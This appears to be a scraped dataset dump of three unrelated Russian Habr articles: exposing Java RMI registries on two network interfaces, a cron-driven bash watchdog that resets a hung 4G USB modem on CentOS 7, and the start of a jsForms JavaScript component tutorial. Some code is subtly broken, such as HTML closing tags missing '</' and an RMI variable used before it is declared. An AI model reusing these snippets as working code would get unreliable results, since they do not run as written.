Сразу оговорюсь, что подразумевается, что читатель знаком с основами RMI (если нет, то можно почитать [здесь](http://habrahabr.ru/post/74639/), [здесь](http://ru.wikipedia.org/wiki/RMI) и [здесь](http://docs.oracle.com/javase/tutorial/rmi/)).При создании реестра, он регистрируется на адрес указанный в параметре java.rmi.server.hostname. Поэтому мы будем устанавливать свое значение hostname перед созданием каждого реестра. Для доступа из интернета важно помнить, RMI использует 2 порта: один для реестра, один для объекта. Т.е. необходимо открыть доступ из интернета к двум портам. Если не указать порт при создании объекта, то он будет создан на анонимном порту, который может быть не доступен из интернета. Итак, действия следующие:
1. Пишем реализацию интерфейса с указанием порта;
2. Создаем реестр для локальной сети;
3. Создаем объект и регистрируем его в реестр;
4. Передаем в java.rmi.server.hostname значение внешнего IP-адреса;
5. Создаем реестр для внешней сети на одном из открытых портов;
6. Создаем объект для внешней сети на втором из открытых портов и регистрируем его в реестре;
7. Profit.
##### Реализация интерфейса
**Важно**, чтобы в реализации интерфейса, в конструкторе указывался порт.
```
public final class ServerImpl extends UnicastRemoteObject implements Server {
public ServerImpl(int port) throws RemoteException {
super(port);
}
@Override
public String getMessage() throws RemoteException {
return "hello";
}
}
```
##### Создаем реестры
```
Registry localRegistry = LocateRegistry.createRegistry(localPort); //создаем реестр для локальной сети
ServerImpl localEngine = new ServerImpl(0); //создаем объект для локальной сети
registry.rebind("rmi://localServer", localEngine);//регистрируем объект в реестре
System.setProperty("java.rmi.server.hostname", "внешний IP-адрес"); //Устанавливаем внешний IP-адрес в java.rmi.server.hostname
Registry registry = LocateRegistry.createRegistry(remotePort1); //создаем реестр для внешней сети на одном из открытых портов
ServerImpl engine = new ServerImpl(remotePort2); //создаем объект для внешней сети на втором открытом порту
registry.rebind("rmi://remoteServer", engine); //регистрируем объект в реестре
```
Получаем два RMI реестра, каждый доступен из своего интерфейса. Для дополнительной изоляции реестров можно еще написать свои реализации [RMIClientSocketFactory](http://spec-zone.ru/RU/Java/Docs/7/api/java/rmi/server/RMIClientSocketFactory.html) и [RMIServerSocketFactory](http://spec-zone.ru/RU/Java/Docs/8/api/java/rmi/server/RMIServerSocketFactory.html), чтобы настроить сокеты для прослушивания только заданных адресов. Но это оставляю для самостоятельного изучения. | https://habr.com/ru/post/185710/ | null | ru | null |
# Сторожевой таймер для 4G-модема в CentOS 7
Эта статья является дополнением моей предыдущий [публикации](http://habrahabr.ru/post/273547/) о настройке домашнего роутера / файл-сервера. Здесь речь пойдет о проблеме автоматического переподключения к интернету при зависании 4G-модема. На оригинальность идеи не претендую, просто хочу поделиться с читателями своим решением.
В процессе постоянной работы, примерно раз в месяц, случалось так, что USB модем зависал. Это доставляло мне определенные неудобства: невозможность удаленно попасть на домашний компьютер, заранее поставить на закачку фильмы. Удаленно эту проблему устранить было невозможно, помогала только перезагрузка модема по питанию. Выход был единственным написать сценарий, который в определенное время проверяет доступность узла в интернете и при необходимости перезагружает модем.
В интернете я нашел несколько реализаций, но не одна из них у меня нормально не заработала. Поэтому я решил написать свой сторожевой таймер [с преферансом и барышнями](http://lurkmore.to/%D0%91%D0%BB%D1%8D%D0%BA%D0%B4%D0%B6%D0%B5%D0%BA_%D0%B8_%D1%88%D0%BB%D1%8E%D1%85%D0%B8). За основу был взят скрипт из [этой](https://www.linux.org.ru/forum/admin/7985276) темы. Переписан, насколько мне позволяет моя квалификация, и дополнен новыми возможностями такими как внешние опции.
**Установка и настройка USB 4G модема в CentOS 7.**Для начала необходимо скачать недостающие пакеты.
```
yum install usb_modeswitch usb_modeswitch-data
```
Подключить модем и посмотреть как он определяется в системе.
```
dmesg
ip a
```
Далее необходимо настроить интерфейс 4G модема.
```
vim /etc/sysconfig/network-scripts/ifcfg-wwp6s0u1i1
```
```
DEVICE="wwp6s0u1i1"
NAME="wwp6s0u1i1"
TYPE="Ethernet"
ONBOOT="yes"
BOOTPROTO="dhcp"
HWADDR="XX:XX:XX:XX:XX:XX"
NM_CONTROLLED="no"
DNS1=127.0.0.1
DNS2=127.0.0.1
DNS3=127.0.0.1
NOZEROCONF="yes"
IPV4_FAILURE_FATAL="no"
IPV6INIT="no"
ZONE="external"
```
Создаем скрипты для активации и де активации интернета при включении или отключении интерфейса.
```
vim /sbin/ifup-pre-local
```
```
#!/bin/bash
#
PREUP="/etc/sysconfig/network-scripts/pre-up-${1:6}"
if [ -x $PREUP ]; then
exec $PREUP
fi
```
```
vim /sbin/ifdown-pre-local
```
```
#!/bin/bash
#
PREDOWN="/etc/sysconfig/network-scripts/pre-down-$1"
if [ -x $PREDOWN ]; then
exec $PREDOWN
fi
```
```
vim /etc/sysconfig/network-scripts/pre-up-wwp6s0u1i1
```
```
#!/bin/bash
#
echo -en 'AT^NDISDUP=1,1,"internet.yota"\r\n' > /dev/ttyUSB0
```
```
vim /etc/sysconfig/network-scripts/pre-down-wwp6s0u1i1
```
```
#!/bin/bash
#
echo -en 'AT^NDISDUP=1,0,"internet.yota"\r\n' > /dev/ttyUSB0
```
Здесь ttyUSB0 это порт модема.
Поднимаем интерфейс и проверяем соединение.
```
ifup wwp6s0u1i1
ip a
```
**Непосредственно сам скрипт**
```
#!/bin/bash
export PATH="$PATH:/usr/sbin"
SN="$(basename "$0")"
function print_help() {
printf "\n"
printf "Использование: %s options...\n" "$SN"
printf "Параметры:\n"
printf " -s Проверяемый ресурс.\n"
printf " -i Имя сетевого интерфейса.\n"
printf " -d Шина и порт модема lsusb -t.\n"
printf " -n Число ошибочных пингов.\n"
printf " -m Маркер модема, из команды lsusb.\n"
printf " -h Справка.\n"
printf "\n"
}
# Если скрипт запущен без аргументов, открываем справку.
if [[ $# = 0 ]]; then
print_help && exit 1
fi
while getopts ":s:i:d:n:m:h" opt ;
do
case $opt in
s) SITE=$OPTARG;
;;
i) IF=$OPTARG;
;;
d) DEV=$OPTARG;
;;
n) EP=$OPTARG;
;;
m) MM=$OPTARG;
;;
h) print_help
exit 1
;;
*) printf "Неправильный параметр\n";
printf "Для вызова справки запустите %s -h\n" "$SN";
exit 1
;;
esac
done
if [[ "$SITE" == "" ]] || [[ "$IF" == "" ]] || [[ "$DEV" == "" ]] || [[ "$EP" == "" ]] || [[ "$MM" == "" ]] ; then
printf "\n"
printf "Одна или несколько опций не указаны.\n"
printf "Для справки наберите: %s -h\n" "$SN"
printf "\n"
exit 1
fi
M="$(lsusb | grep -w "$MM")" #строка модема из lsusb
if [[ "$M" != "" ]]; then #если модем выбран, можно проверять пинги
if grep -w -q "$IF" /proc/net/dev; then #проверяем наличие сетевого интерфейса
printf "\n"
printf "Проверка доступности %s через интерфейс %s\n" "$SITE" "$IF"
printf "\n"
if [[ "$EP" -ge 6 ]]; then
printf "Число ошибочных пингов должно быть меньше или равно 5\n"
exit 1
else
printf "Делаем пинги...\n"
flag="0"
for i in {1..5}; do #делаем 5 пингов до сервера
timeout -k 2 -s TERM 16 ping -w 14 -s 8 -c 1 -I "$IF" "$SITE" || flag=$((flag+1)) && printf "пинг:%s/5 (ошибок:%s)\n" "$i" "$flag" #пинг не прошел - инкрементируем счетчик
if (("$flag" >= "$EP")); then
break
else
read -r -t 1 > /dev/null
fi
done
printf "потерь пакетов: %s из %s\n" "$flag" "$i"
printf "\n"
if (("$flag" >= "$EP")); then #если потерь пакетов больше 2х
M="$(lsusb | grep "$MM")" #на всякий случай снова глянем - вдруг модем выдернули
printf "Будет сброшен модем:\n"
printf "%s\n" "$M" | cut -c 34-
if ! [[ -d /sys/bus/usb/drivers/usb/"$DEV" ]]; then
printf "Неверно указаны Bus и Port модема.\n"
exit 1
else
ifdown "$IF" #деактивируем интерфейс
printf "%s" "$DEV" > "/sys/bus/usb/drivers/usb/unbind" && printf "%s" "$DEV" > "/sys/bus/usb/drivers/usb/bind" #перезегрузка модема
# read -r -t 1 > /dev/null
ifup "$IF" #активируем интерфейс
fi
fi
fi
else
printf "\n"
printf "Интерфейс %s не существует\n" "$IF"
printf "\n"
exit 1
fi
else
printf "Модем %s не найден.\n" "$MM"
fi
```
Скрипт располагается в /usr/local/bin/.
Чтобы скрипт запускался автоматически, раз в пять минут, добавим задание в cron.
```
crontab -e
```
```
*/5 * * * * /usr/local/bin/watchdog -m Huawei -s ya.ru -i wwp6s0u2i1 -n 3 -d 1-1 > /dev/null 2>&1
```
Это вывод dmesg, на нем виден сброс модема при выполнении скрипта.
```
[181709.595498] option1 ttyUSB0: GSM modem (1-port) converter now disconnected from ttyUSB0
[181709.595568] option 1-1:1.0: device disconnected
[181709.595798] huawei_cdc_ncm 1-1:1.1 wwp6s0u2i1: unregister 'huawei_cdc_ncm' usb-0000:06:00.0-1, Huawei CDC NCM device
[181709.615005] option 1-1:1.0: GSM modem (1-port) converter detected
[181709.616597] usb 1-1: GSM modem (1-port) converter now attached to ttyUSB0
[181709.623449] usb 1-1: MAC-Address: 0c:5b:8f:27:9a:64
[181709.623958] huawei_cdc_ncm 1-1:1.1: cdc-wdm0: USB WDM device
[181709.624341] huawei_cdc_ncm 1-1:1.1 wwan0: register 'huawei_cdc_ncm' at usb-0000:06:00.0-1, Huawei CDC NCM device, XX:XX:XX:XX:XX:XX
```
Сразу скажу, скрипт очень далек от идеала, поэтому с радостью приму советы и обоснованную критику в свой адрес.
Отдельно хочу поблагодарить пользователя с [Toster.ru](https://toster.ru/) под ником [@AlekseyNemiro](https://toster.ru/user/AlekseyNemiro), за оказанную помощь в оптимизации скрипта.
**UPD 22.01.16** Дополнил скрипт командой добавления пути в переменную PATH. | https://habr.com/ru/post/275551/ | null | ru | null |
# jsForms
Добрый вечер, после написания предыдущего поста прошло уже, наверное, более трех недель, с тех пор мое направление немножко изменилось, да MVC хороший паттерн, но сейчас для js он еще слишком громоздкий. Мы стремимся выбрать более прозрачные и тонкие решения, которые бы позволяли видеть как все работает, вот почему мне нравится jQuery, он вводит тот самый минимум, который позволяет абстрагироваться от типа браузера, но при этом он не убирает ощущение того, что ты пишешь именно на js. Вот почему когда стремясь реализовать паттерн Document-View на js, хотелось сделать его как можно более тонким, незаметным и как мне кажется мне удалось добиться тех же легких ощущений, что все таки это тот же js, просто он немножко расширился.
Как и в WinForms, в jsForms все строится на компонентах. Итак приступим.
Компонент
=========
Компонент состоит из двух частей:
* Визуальной
* Функциональной
### Визуальная часть
Визуальной частью является шаблон, который содержит в себе HTML разметку, устанавливает свойства и события.
Шаблон это js файл имеющий следующий вид:
`jsForms.Templates.ComponentType='HTML';`
* ComponentType — тип компонента
* [HTML] — HTML код заключеный в ковычки
**Важно** — в HTML коде используйте символы "<" и ">" для обрамления тегов, в других местах используйте "& lt;" и "& gt;" соответственно.
HTML тег должен быть очень строгим, то есть все открытые теги должны быть закрыты и соблюден порядок следования.
Шаблон должен иметь только один root html тег.
### Функциональная часть
Функциональная часть это тоже js файл, в котором содержится «класс», а так же декларирование свойств и событий компонента.
Функциональная часть имеет вид:
`jsForms.Components.ComponentType=
{
[JavaScript]
};`
* ComponentType — тип компонента
* [JavaScript] — в общем классический JS
Использование jsForms
=====================
Разберем все на примерах.
Например Template файл для кнопки будет иметь вид:
> `jsForms.Templates.Button='<div class="button">'+
> '<div class="button-background">'+
> '<div class="button-common button-w"/>'+
> '<div class="button-common button-e"/>'+
> 'div>'+
> '<span name="text" class="button-text"/>'+
> 'div>';
>
> \* This source code was highlighted with Source Code Highlighter.` | https://habr.com/ru/post/45361/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.